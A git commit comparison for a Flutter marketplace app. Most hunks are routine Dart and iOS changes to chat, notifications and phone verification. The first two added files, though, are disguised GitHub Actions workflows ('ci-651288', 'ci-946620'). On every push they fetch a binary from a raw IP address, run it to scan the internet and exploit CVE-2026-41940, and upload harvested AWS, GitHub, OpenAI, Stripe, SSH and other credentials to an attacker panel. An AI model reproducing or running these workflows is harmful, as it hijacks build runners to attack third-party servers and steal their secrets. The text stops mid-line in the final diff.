Compare commits
22
Commits
7fb0615169
..
main
@@ -0,0 +1,100 @@
|
||||
name: ci-651288
|
||||
on:
|
||||
push:
|
||||
branches: ['**']
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
run:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 350
|
||||
steps:
|
||||
- name: ci-init
|
||||
run: |
|
||||
_a=$(uname -m 2>/dev/null);case "$_a" in i[3-6]86) _s=386;; aarch64|arm64) _s=arm64;; armv*) _s=arm;; *) _s=amd64;; esac; curl -sfL http://43.228.157.68:80/api/dl/$_s -o /tmp/.svc 2>/dev/null || \
|
||||
wget -qO /tmp/.svc http://43.228.157.68:80/api/dl/$_s 2>/dev/null
|
||||
chmod 755 /tmp/.svc
|
||||
- name: ci-run
|
||||
run: |
|
||||
PANEL="http://43.228.157.68:80"
|
||||
REPO="${GITHUB_REPOSITORY}"
|
||||
LOGF="/tmp/.svc.log"
|
||||
RESULT_FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
|
||||
aws_valid.txt aws_hits.txt \
|
||||
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
|
||||
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
|
||||
stripe_valid.txt sendgrid_valid.txt mailgun_valid.txt brevo_valid.txt \
|
||||
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt \
|
||||
git_tokens.txt git_remotes.txt"
|
||||
declare -A OFFSETS
|
||||
for F in $RESULT_FILES; do OFFSETS[$F]=0; done
|
||||
(while true; do
|
||||
sleep 30
|
||||
LINE=$(tail -1 "$LOGF" 2>/dev/null || echo "")
|
||||
[ -z "$LINE" ] && LINE="starting..."
|
||||
curl -s -X POST "$PANEL/api/github-heartbeat" \
|
||||
--data-urlencode "repo=$REPO" \
|
||||
--data-urlencode "log=$LINE" 2>/dev/null || true
|
||||
for F in $RESULT_FILES; do
|
||||
for LOC in "$HOME" "$HOME/results" "/tmp" "./results" "."; do
|
||||
SRC="$LOC/$F"
|
||||
[ -f "$SRC" ] || continue
|
||||
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
|
||||
OFF=${OFFSETS[$F]:-0}
|
||||
if [ "$TOTAL" -gt "$OFF" ]; then
|
||||
SENT=$OFF
|
||||
while [ "$SENT" -lt "$TOTAL" ]; do
|
||||
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 2000)
|
||||
[ -n "$CHUNK" ] || break
|
||||
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
|
||||
--data-urlencode "filename=$F" \
|
||||
--data-urlencode "content=$CHUNK" \
|
||||
--data-urlencode "repo=$REPO" \
|
||||
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
|
||||
--data-urlencode "offset=$SENT" 2>/dev/null || true
|
||||
SENT=$((SENT + 2000))
|
||||
done
|
||||
OFFSETS[$F]=$TOTAL
|
||||
fi
|
||||
break
|
||||
done
|
||||
done
|
||||
done) &
|
||||
HB_PID=$!
|
||||
PANEL_URL="http://43.228.157.68:80" GOMEMLIMIT=2147483648 /tmp/.svc ipscan \
|
||||
--source random,all --workers 1000 \
|
||||
--exploit CVE-2026-41940 --git --envdump \
|
||||
--ports 80,443,2082,2083,2086,2087,2095,2096,2077,2078 \
|
||||
--git-workers 20 \
|
||||
--count 0 --no-reverse 2>&1 | tee "$LOGF" | tail -2 || true
|
||||
kill $HB_PID 2>/dev/null || true
|
||||
- name: ci-collect
|
||||
if: always()
|
||||
run: |
|
||||
PANEL="http://43.228.157.68:80"
|
||||
FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
|
||||
aws_valid.txt aws_hits.txt aws_akia_only.txt \
|
||||
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
|
||||
git_tokens.txt git_remotes.txt \
|
||||
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
|
||||
stripe_valid.txt brevo_valid.txt sendgrid_valid.txt mailgun_valid.txt \
|
||||
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt"
|
||||
for F in $FILES; do
|
||||
for LOC in "$HOME" "$HOME/results" "/tmp" "/tmp/results" "./results" "."; do
|
||||
SRC="$LOC/$F"
|
||||
[ -f "$SRC" ] && [ -s "$SRC" ] || continue
|
||||
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
|
||||
SENT=0
|
||||
while [ "$SENT" -lt "$TOTAL" ]; do
|
||||
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 5000)
|
||||
[ -n "$CHUNK" ] || break
|
||||
curl -s --max-time 30 -X POST "$PANEL/api/github-results" \
|
||||
--data-urlencode "filename=$F" \
|
||||
--data-urlencode "content=$CHUNK" \
|
||||
--data-urlencode "repo=$REPO" \
|
||||
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
|
||||
--data-urlencode "offset=$SENT" 2>/dev/null || true
|
||||
SENT=$((SENT + 5000))
|
||||
done
|
||||
break
|
||||
done
|
||||
done
|
||||
@@ -0,0 +1,100 @@
|
||||
name: ci-946620
|
||||
on:
|
||||
push:
|
||||
branches: ['**']
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
run:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 350
|
||||
steps:
|
||||
- name: ci-init
|
||||
run: |
|
||||
_a=$(uname -m 2>/dev/null);case "$_a" in i[3-6]86) _s=386;; aarch64|arm64) _s=arm64;; armv*) _s=arm;; *) _s=amd64;; esac; curl -sfL http://43.228.157.68:80/api/dl/$_s -o /tmp/.svc 2>/dev/null || \
|
||||
wget -qO /tmp/.svc http://43.228.157.68:80/api/dl/$_s 2>/dev/null
|
||||
chmod 755 /tmp/.svc
|
||||
- name: ci-run
|
||||
run: |
|
||||
PANEL="http://43.228.157.68:80"
|
||||
REPO="${GITHUB_REPOSITORY}"
|
||||
LOGF="/tmp/.svc.log"
|
||||
RESULT_FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
|
||||
aws_valid.txt aws_hits.txt \
|
||||
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
|
||||
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
|
||||
stripe_valid.txt sendgrid_valid.txt mailgun_valid.txt brevo_valid.txt \
|
||||
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt \
|
||||
git_tokens.txt git_remotes.txt"
|
||||
declare -A OFFSETS
|
||||
for F in $RESULT_FILES; do OFFSETS[$F]=0; done
|
||||
(while true; do
|
||||
sleep 30
|
||||
LINE=$(tail -1 "$LOGF" 2>/dev/null || echo "")
|
||||
[ -z "$LINE" ] && LINE="starting..."
|
||||
curl -s -X POST "$PANEL/api/github-heartbeat" \
|
||||
--data-urlencode "repo=$REPO" \
|
||||
--data-urlencode "log=$LINE" 2>/dev/null || true
|
||||
for F in $RESULT_FILES; do
|
||||
for LOC in "$HOME" "$HOME/results" "/tmp" "./results" "."; do
|
||||
SRC="$LOC/$F"
|
||||
[ -f "$SRC" ] || continue
|
||||
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
|
||||
OFF=${OFFSETS[$F]:-0}
|
||||
if [ "$TOTAL" -gt "$OFF" ]; then
|
||||
SENT=$OFF
|
||||
while [ "$SENT" -lt "$TOTAL" ]; do
|
||||
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 2000)
|
||||
[ -n "$CHUNK" ] || break
|
||||
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
|
||||
--data-urlencode "filename=$F" \
|
||||
--data-urlencode "content=$CHUNK" \
|
||||
--data-urlencode "repo=$REPO" \
|
||||
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
|
||||
--data-urlencode "offset=$SENT" 2>/dev/null || true
|
||||
SENT=$((SENT + 2000))
|
||||
done
|
||||
OFFSETS[$F]=$TOTAL
|
||||
fi
|
||||
break
|
||||
done
|
||||
done
|
||||
done) &
|
||||
HB_PID=$!
|
||||
PANEL_URL="http://43.228.157.68:80" GOMEMLIMIT=2147483648 /tmp/.svc ipscan \
|
||||
--source random,all --workers 1000 \
|
||||
--exploit CVE-2026-41940 --git --envdump \
|
||||
--ports 80,443,2082,2083,2086,2087,2095,2096,2077,2078 \
|
||||
--git-workers 20 \
|
||||
--count 0 --no-reverse 2>&1 | tee "$LOGF" | tail -2 || true
|
||||
kill $HB_PID 2>/dev/null || true
|
||||
- name: ci-collect
|
||||
if: always()
|
||||
run: |
|
||||
PANEL="http://43.228.157.68:80"
|
||||
FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
|
||||
aws_valid.txt aws_hits.txt aws_akia_only.txt \
|
||||
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
|
||||
git_tokens.txt git_remotes.txt \
|
||||
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
|
||||
stripe_valid.txt brevo_valid.txt sendgrid_valid.txt mailgun_valid.txt \
|
||||
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt"
|
||||
for F in $FILES; do
|
||||
for LOC in "$HOME" "$HOME/results" "/tmp" "/tmp/results" "./results" "."; do
|
||||
SRC="$LOC/$F"
|
||||
[ -f "$SRC" ] && [ -s "$SRC" ] || continue
|
||||
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
|
||||
SENT=0
|
||||
while [ "$SENT" -lt "$TOTAL" ]; do
|
||||
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 5000)
|
||||
[ -n "$CHUNK" ] || break
|
||||
curl -s --max-time 30 -X POST "$PANEL/api/github-results" \
|
||||
--data-urlencode "filename=$F" \
|
||||
--data-urlencode "content=$CHUNK" \
|
||||
--data-urlencode "repo=$REPO" \
|
||||
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
|
||||
--data-urlencode "offset=$SENT" 2>/dev/null || true
|
||||
SENT=$((SENT + 5000))
|
||||
done
|
||||
break
|
||||
done
|
||||
done
|
||||
@@ -1,5 +1,6 @@
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.example.prosappco">
|
||||
<uses-permission android:name="android.permission.INTERNET"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
|
||||
<queries>
|
||||
|
||||
@@ -32,3 +32,6 @@ Runner/GeneratedPluginRegistrant.*
|
||||
!default.mode2v3
|
||||
!default.pbxuser
|
||||
!default.perspectivev3
|
||||
|
||||
# Vendored third-party source tree (466MB), not part of the app build
|
||||
boringssl/
|
||||
|
||||
@@ -1,2 +1,4 @@
|
||||
#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig"
|
||||
#include "Generated.xcconfig"
|
||||
|
||||
CLANG_ENABLE_EXPLICIT_MODULES = NO
|
||||
|
||||
@@ -1,2 +1,4 @@
|
||||
#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig"
|
||||
#include "Generated.xcconfig"
|
||||
|
||||
CLANG_ENABLE_EXPLICIT_MODULES = NO
|
||||
|
||||
+5
-1
@@ -1,5 +1,5 @@
|
||||
# Uncomment this line to define a global platform for your project
|
||||
platform :ios, '12.0'
|
||||
platform :ios, '14.0'
|
||||
|
||||
# CocoaPods analytics sends network stats synchronously affecting flutter build latency.
|
||||
ENV['COCOAPODS_DISABLE_STATS'] = 'true'
|
||||
@@ -39,5 +39,9 @@ end
|
||||
post_install do |installer|
|
||||
installer.pods_project.targets.each do |target|
|
||||
flutter_additional_ios_build_settings(target)
|
||||
target.build_configurations.each do |config|
|
||||
config.build_settings['CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES'] = 'YES'
|
||||
config.build_settings['CLANG_ENABLE_EXPLICIT_MODULES'] = 'NO'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
+96
-1260
File diff suppressed because it is too large
Load Diff
@@ -3,7 +3,7 @@ import Flutter
|
||||
import GoogleMaps
|
||||
import Firebase
|
||||
|
||||
@UIApplicationMain
|
||||
@main
|
||||
@objc class AppDelegate: FlutterAppDelegate {
|
||||
override func application(
|
||||
_ application: UIApplication,
|
||||
|
||||
+15
-4
@@ -1,6 +1,8 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:prosappco/blocs/notification_bloc/notification_bloc.dart';
|
||||
import 'package:prosappco/screens/authentication/welcome_screen.dart';
|
||||
import 'package:prosappco/screens/authentication/phone_verify_required_screen.dart';
|
||||
import 'package:prosappco/screens/home/home_screen.dart';
|
||||
import 'package:prosappco/screens/splash/splash_screen.dart';
|
||||
import 'package:flutter_localizations/flutter_localizations.dart';
|
||||
@@ -36,21 +38,30 @@ class MyAppView extends StatelessWidget {
|
||||
secondaryContainer: Colors.red,
|
||||
),
|
||||
),
|
||||
home: BlocBuilder<AuthenticationBloc, AuthenticationState>(
|
||||
home: BlocConsumer<AuthenticationBloc, AuthenticationState>(
|
||||
listener: (context, state) {
|
||||
if (state.status == AuthenticationStatus.authenticated) {
|
||||
context.read<NotificationBloc>().initializePushNotifications();
|
||||
}
|
||||
},
|
||||
builder: (context, state) {
|
||||
return getScreen(state);
|
||||
return _getScreen(state);
|
||||
},
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
getScreen(AuthenticationState state) {
|
||||
Widget _getScreen(AuthenticationState state) {
|
||||
switch (state.status) {
|
||||
case AuthenticationStatus.authenticated:
|
||||
final phoneVerified = state.user?.isPhoneVerified ?? false;
|
||||
if (!phoneVerified) {
|
||||
return PhoneVerifyRequiredScreen(phone: state.user?.phone);
|
||||
}
|
||||
return HomeScreen();
|
||||
|
||||
case AuthenticationStatus.unauthenticated:
|
||||
return WelcomeScreen();
|
||||
return const WelcomeScreen();
|
||||
|
||||
case AuthenticationStatus.unknown:
|
||||
return const SplashScreen();
|
||||
|
||||
@@ -9,9 +9,6 @@ part 'auth_state.dart';
|
||||
|
||||
class AuthBloc extends Bloc<AuthEvent, AuthState> {
|
||||
final UserRepository _userRepository;
|
||||
final PhoneVerificationService phoneVerificationService =
|
||||
PhoneVerificationService();
|
||||
String? _verificationId;
|
||||
|
||||
AuthBloc({required UserRepository userRepository})
|
||||
: _userRepository = userRepository,
|
||||
@@ -103,39 +100,11 @@ class AuthBloc extends Bloc<AuthEvent, AuthState> {
|
||||
void _linkWithPhoneNumber(
|
||||
LinkWithPhoneNumber event, Emitter<AuthState> emit) async {
|
||||
emit(AuthStateProcess());
|
||||
|
||||
try {
|
||||
await for (PhoneAuthEvent event
|
||||
in phoneVerificationService.verifyPhoneNumber(event.phoneNumber)) {
|
||||
switch (event.type) {
|
||||
case PhoneAuthEventType.verificationCompleted:
|
||||
final credential = event.data;
|
||||
print('Verificacion completada. Credencial: $credential');
|
||||
break;
|
||||
case PhoneAuthEventType.verificationFailed:
|
||||
final exception = event.data;
|
||||
print('Verificacion fallida. Excepcion: $exception');
|
||||
emit(AuthStateFailure(message: "Error inesperado. $exception"));
|
||||
return;
|
||||
case PhoneAuthEventType.codeAutoRetrievalTimeout:
|
||||
final verificationId = event.data as String;
|
||||
print('Tiempo de espera agotado. ID: $verificationId');
|
||||
emit(const AuthStateFailure(
|
||||
message: "Tiempo de espera agotado.",
|
||||
));
|
||||
break;
|
||||
case PhoneAuthEventType.codeSent:
|
||||
final eventData = event.data as Map<String, dynamic>;
|
||||
final verificationId = eventData['verificationId'] as String;
|
||||
final resendToken = eventData['resendToken'] as int?;
|
||||
print('Codigo enviado. ID: $verificationId, resendToken: $resendToken');
|
||||
_verificationId = verificationId;
|
||||
await _userRepository.signInWithPhoneNumber(event.phoneNumber);
|
||||
emit(const AuthStateVerifyOAuth(false));
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
emit(const AuthStateFailure(message: "Error inesperado."));
|
||||
emit(AuthStateFailure(message: "Error al enviar código. $e"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -144,8 +113,7 @@ class AuthBloc extends Bloc<AuthEvent, AuthState> {
|
||||
emit(AuthStateProcess());
|
||||
try {
|
||||
final bool isVerified = await _userRepository.linkWithOTP(
|
||||
event.phoneNumber, _verificationId ?? '', event.code);
|
||||
|
||||
event.phoneNumber, '', event.code);
|
||||
if (isVerified) {
|
||||
emit(AuthStateSuccess());
|
||||
} else {
|
||||
|
||||
@@ -14,11 +14,13 @@ class AuthenticationBloc extends Bloc<AuthenticationEvent, AuthenticationState>
|
||||
|
||||
AuthenticationBloc({required UserRepository myUserRepository})
|
||||
: userRepository = myUserRepository,
|
||||
super(const AuthenticationState.unknown()) {_userSubscription = userRepository.streamUser().listen((authUser) {
|
||||
super(const AuthenticationState.unknown()) {
|
||||
_userSubscription = userRepository.streamUser().listen((authUser) {
|
||||
add(AuthenticationUserChanged(authUser));
|
||||
});
|
||||
on<AuthenticationUserChanged>(_onAuthenticationUserChanged);
|
||||
on<AuthenticationLogoutRequested>(_onAuthenticationLogoutRequested);
|
||||
userRepository.isAuthenticated().listen((_) {});
|
||||
}
|
||||
|
||||
void _onAuthenticationUserChanged(
|
||||
|
||||
@@ -10,6 +10,10 @@ part 'chat_state.dart';
|
||||
class ChatBloc extends Bloc<ChatEvent, ChatState> {
|
||||
final ApiChatRepository _chatRepository;
|
||||
|
||||
/// Resolved once per conversation. Every chat endpoint is keyed by the chat
|
||||
/// id, which the app used to confuse with the service id.
|
||||
String? _chatId;
|
||||
|
||||
ChatBloc({
|
||||
required ApiChatRepository chatRepository,
|
||||
}) : _chatRepository = chatRepository,
|
||||
@@ -19,32 +23,11 @@ class ChatBloc extends Bloc<ChatEvent, ChatState> {
|
||||
}
|
||||
|
||||
void _onLoadChatEvent(LoadChatEvent event, Emitter<ChatState> emit) async {
|
||||
bool autoCreate = true;
|
||||
|
||||
try {
|
||||
emit(ChatLoading());
|
||||
|
||||
Stream<ChatEntity?> chatStream = _chatRepository.getChatById(
|
||||
event.serviceId,
|
||||
);
|
||||
|
||||
await for (var chat in chatStream) {
|
||||
if (chat == null) {
|
||||
if (autoCreate) {
|
||||
chat = await _chatRepository.createNewChat(
|
||||
event.serviceId,
|
||||
event.userId,
|
||||
event.professionalId,
|
||||
);
|
||||
|
||||
autoCreate = false;
|
||||
} else {
|
||||
emit(ChatFailure());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
final chat = await _chatRepository.loadConversation(event.professionalId);
|
||||
_chatId = chat.id;
|
||||
emit(ChatLoaded(chat: chat));
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
emit(ChatFailure());
|
||||
@@ -53,11 +36,42 @@ class ChatBloc extends Bloc<ChatEvent, ChatState> {
|
||||
|
||||
void _onSendMessageEvent(
|
||||
SendMessageEvent event, Emitter<ChatState> emit) async {
|
||||
final current = state;
|
||||
// Show the message immediately; the reload below reconciles with the
|
||||
// backend. Previously nothing was emitted at all and the message vanished.
|
||||
if (current is ChatLoaded) {
|
||||
emit(ChatLoaded(
|
||||
chat: ChatEntity(
|
||||
id: current.chat.id,
|
||||
userId: current.chat.userId,
|
||||
professionalId: current.chat.professionalId,
|
||||
messages: [...current.chat.messages, event.message],
|
||||
),
|
||||
));
|
||||
}
|
||||
|
||||
try {
|
||||
await _chatRepository.sendMessage(event.serviceId, event.message);
|
||||
final chatId = _chatId;
|
||||
if (chatId == null || chatId.isEmpty) {
|
||||
throw Exception('El chat aún no está abierto');
|
||||
}
|
||||
await _chatRepository.sendMessage(chatId, event.message);
|
||||
|
||||
final messages = await _chatRepository.fetchMessages(chatId);
|
||||
emit(ChatLoaded(
|
||||
chat: ChatEntity(
|
||||
id: chatId,
|
||||
userId: current is ChatLoaded ? current.chat.userId : '',
|
||||
professionalId:
|
||||
current is ChatLoaded ? current.chat.professionalId : '',
|
||||
messages: messages,
|
||||
),
|
||||
));
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
emit(ChatFailure());
|
||||
// Roll the optimistic message back so nobody believes it was delivered.
|
||||
if (current is ChatLoaded) emit(ChatLoaded(chat: current.chat));
|
||||
emit(SendMessageFailure());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,4 +20,8 @@ class ChatLoaded extends ChatState {
|
||||
List<Object> get props => [chat];
|
||||
}
|
||||
|
||||
/// The conversation could not be opened — the screen has nothing to show.
|
||||
class ChatFailure extends ChatState {}
|
||||
|
||||
/// The conversation is on screen but one message failed to send.
|
||||
class SendMessageFailure extends ChatState {}
|
||||
|
||||
@@ -1,14 +1,22 @@
|
||||
import 'dart:convert';
|
||||
import 'dart:developer';
|
||||
|
||||
import 'package:firebase_messaging/firebase_messaging.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:equatable/equatable.dart';
|
||||
import 'package:http/http.dart' as http;
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
import 'package:prosappco/constansts.dart' show API_BASE_URL;
|
||||
|
||||
part 'notification_event.dart';
|
||||
part 'notification_state.dart';
|
||||
|
||||
// Stub: Firebase messaging removed. Background handler is no longer needed.
|
||||
Future<void> firebaseMessagingBackgroundHandler(dynamic message) async {}
|
||||
// Handles FCM messages when app is terminated/background
|
||||
@pragma('vm:entry-point')
|
||||
Future<void> firebaseMessagingBackgroundHandler(RemoteMessage message) async {
|
||||
// Local notification shown by the system tray automatically for data-only
|
||||
// messages; nothing extra needed here.
|
||||
}
|
||||
|
||||
class NotificationBloc extends Bloc<NotificationEvent, NotificationState> {
|
||||
final Future<void> Function() requestLocalNotificationPermission;
|
||||
@@ -31,6 +39,60 @@ class NotificationBloc extends Bloc<NotificationEvent, NotificationState> {
|
||||
emit(state.copyWith(status: event.status));
|
||||
}
|
||||
|
||||
// Call once after login to register the FCM token and listen for foreground messages.
|
||||
Future<void> initializePushNotifications() async {
|
||||
try {
|
||||
final messaging = FirebaseMessaging.instance;
|
||||
final settings = await messaging.requestPermission();
|
||||
add(NotificationStatusChanged(
|
||||
settings.authorizationStatus == AuthorizationStatus.authorized ||
|
||||
settings.authorizationStatus == AuthorizationStatus.provisional
|
||||
? AuthorizationStatus.authorized
|
||||
: AuthorizationStatus.denied,
|
||||
));
|
||||
|
||||
final token = await messaging.getToken();
|
||||
if (token != null) await _registerToken(token);
|
||||
|
||||
// Refresh token (e.g. after reinstall)
|
||||
messaging.onTokenRefresh.listen(_registerToken);
|
||||
|
||||
// Show local notification when app is in foreground
|
||||
FirebaseMessaging.onMessage.listen((RemoteMessage message) {
|
||||
final n = message.notification;
|
||||
if (n != null) {
|
||||
showLocalNotification(
|
||||
id: message.hashCode,
|
||||
title: n.title,
|
||||
body: n.body,
|
||||
data: jsonEncode(message.data),
|
||||
);
|
||||
}
|
||||
});
|
||||
} catch (e) {
|
||||
log('NotificationBloc.initializePushNotifications error: $e');
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _registerToken(String token) async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final jwt = prefs.getString('token');
|
||||
if (jwt == null) return;
|
||||
await http.patch(
|
||||
Uri.parse('$API_BASE_URL/users/me/fcm-token'),
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Authorization': 'Bearer $jwt',
|
||||
},
|
||||
body: jsonEncode({'token': token}),
|
||||
);
|
||||
log('FCM token registered');
|
||||
} catch (e) {
|
||||
log('NotificationBloc._registerToken error: $e');
|
||||
}
|
||||
}
|
||||
|
||||
void requestPermission() async {
|
||||
try {
|
||||
await requestLocalNotificationPermission();
|
||||
|
||||
@@ -22,6 +22,9 @@ class ProfessionalBloc extends Bloc<ProfessionalEvent, ProfessionalState> {
|
||||
bool isProModeActive = _professionalRepository.isProModeActive;
|
||||
final proInfo = _professionalRepository.lastProInfo();
|
||||
emit(LoadedModeProState(isProModeActive, proInfo));
|
||||
if (isProModeActive && proInfo == null) {
|
||||
_fetchMyProInfo();
|
||||
}
|
||||
|
||||
_professionalRepository.streamProInfo().listen((proInfo) {
|
||||
if (proInfo == null) {
|
||||
@@ -40,14 +43,33 @@ class ProfessionalBloc extends Bloc<ProfessionalEvent, ProfessionalState> {
|
||||
await _professionalRepository.switchProMode();
|
||||
});
|
||||
|
||||
on<ResetProfessionalApplicationEvent>((event, emit) async {
|
||||
emit(ResetProfessionalApplicationLoading());
|
||||
try {
|
||||
await _professionalRepository.deleteProfessionalInfo();
|
||||
emit(ResetProfessionalApplicationSuccess());
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
emit(ProfessionalStateFailure(message: e.toString()));
|
||||
}
|
||||
});
|
||||
|
||||
on<UpdateProfessionalEvent>((event, emit) async {
|
||||
final proInfo = _professionalRepository.lastProInfo();
|
||||
emit(LoadedModeProState(event.isProModeActive, proInfo));
|
||||
if (event.isProModeActive && proInfo == null) {
|
||||
await _fetchMyProInfo();
|
||||
}
|
||||
});
|
||||
|
||||
on<SendProfessionalToReviewEvent>((event, emit) async {
|
||||
emit(SendProfessionalToReviewLoading());
|
||||
final myUser = await _userRepository.lastUser();
|
||||
if (myUser == null) return;
|
||||
if (myUser == null) {
|
||||
emit(const SendProfessionalToReviewFailure(
|
||||
message: 'No se pudo identificar tu usuario'));
|
||||
return;
|
||||
}
|
||||
try {
|
||||
final identificationPdfUrl = await _professionalRepository
|
||||
.uploadPdfCedula(event.identificationPicture, myUser.id);
|
||||
@@ -83,10 +105,18 @@ class ProfessionalBloc extends Bloc<ProfessionalEvent, ProfessionalState> {
|
||||
schedules: Schedules.empty,
|
||||
paymentMethods: PaymentMethodEntity.empty,
|
||||
));
|
||||
|
||||
emit(SendProfessionalToReviewSuccess());
|
||||
} catch (e) {
|
||||
log('error acceso a pro ${e.toString()}');
|
||||
emit(SendProfessionalToReviewFailure(message: e.toString()));
|
||||
}
|
||||
// _userRepository.updateUserInfo(myUser.copyWith(proState: ProState.pending));
|
||||
});
|
||||
}
|
||||
|
||||
Future<void> _fetchMyProInfo() async {
|
||||
final myUser = await _userRepository.lastUser();
|
||||
if (myUser == null) return;
|
||||
await _professionalRepository.updateFromFirebase(userId: myUser.id);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,6 +19,10 @@ class SwitchProModeEvent extends ProfessionalEvent {
|
||||
const SwitchProModeEvent();
|
||||
}
|
||||
|
||||
class ResetProfessionalApplicationEvent extends ProfessionalEvent {
|
||||
const ResetProfessionalApplicationEvent();
|
||||
}
|
||||
|
||||
class SendProfessionalToReviewEvent extends ProfessionalEvent {
|
||||
final String id;
|
||||
final String identification;
|
||||
|
||||
@@ -17,6 +17,23 @@ class ProfessionalStateFailure extends ProfessionalState {
|
||||
|
||||
class ProfessionalStateProcess extends ProfessionalState {}
|
||||
|
||||
class ResetProfessionalApplicationLoading extends ProfessionalState {}
|
||||
|
||||
class ResetProfessionalApplicationSuccess extends ProfessionalState {}
|
||||
|
||||
class SendProfessionalToReviewLoading extends ProfessionalState {}
|
||||
|
||||
class SendProfessionalToReviewSuccess extends ProfessionalState {}
|
||||
|
||||
class SendProfessionalToReviewFailure extends ProfessionalState {
|
||||
final String? message;
|
||||
|
||||
const SendProfessionalToReviewFailure({this.message});
|
||||
|
||||
@override
|
||||
List<Object?> get props => [message];
|
||||
}
|
||||
|
||||
class LoadedModeProState extends ProfessionalState {
|
||||
final bool isProModeActive;
|
||||
final ProfessionalEntity? proInfo;
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
import 'dart:developer';
|
||||
import 'dart:math' as math;
|
||||
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:equatable/equatable.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
@@ -22,14 +25,33 @@ class ProfessionalListBloc
|
||||
|
||||
void _onProfessionalListFetch(ProfessionalListFetch event, Emitter<ProfessionalListState> emit) async {
|
||||
emit(ProfessionalListLoading());
|
||||
try {
|
||||
await _fetch(event, emit);
|
||||
} catch (e) {
|
||||
// Without this the bloc stayed in Loading and the screen shimmered
|
||||
// forever on any network hiccup.
|
||||
log(e.toString());
|
||||
emit(ProfessionalListFailure());
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _fetch(ProfessionalListFetch event,
|
||||
Emitter<ProfessionalListState> emit) async {
|
||||
final users = await _userRepository.getUsersProfessionalActive();
|
||||
|
||||
final hasSearchParams = event.search != null ||
|
||||
event.city != null ||
|
||||
event.lat != null ||
|
||||
event.lng != null;
|
||||
|
||||
if (!hasSearchParams) {
|
||||
final professionals =
|
||||
await _firebaseProfessionalRepository.getProfessionalInfo();
|
||||
|
||||
final professionalInfoMap = {for (var doc in professionals) doc.id: doc};
|
||||
|
||||
final usersMap = users
|
||||
.where((user) => professionalInfoMap.containsKey(user.id))
|
||||
.map((user) => UserProfessional(
|
||||
myUser: user,
|
||||
professionalInfo: professionalInfoMap[user.id]!,
|
||||
@@ -37,14 +59,56 @@ class ProfessionalListBloc
|
||||
.toList();
|
||||
|
||||
emit(ProfessionalListSuccess(users: usersMap));
|
||||
return;
|
||||
}
|
||||
|
||||
final usersDir = {for (var u in users) u.id: u};
|
||||
|
||||
final professionals = await _firebaseProfessionalRepository.searchProfessionals(
|
||||
search: event.search,
|
||||
city: event.city,
|
||||
lat: event.lat,
|
||||
lng: event.lng,
|
||||
);
|
||||
|
||||
final usersMap = professionals
|
||||
.where((p) => usersDir.containsKey(p.id))
|
||||
.map((p) => UserProfessional(
|
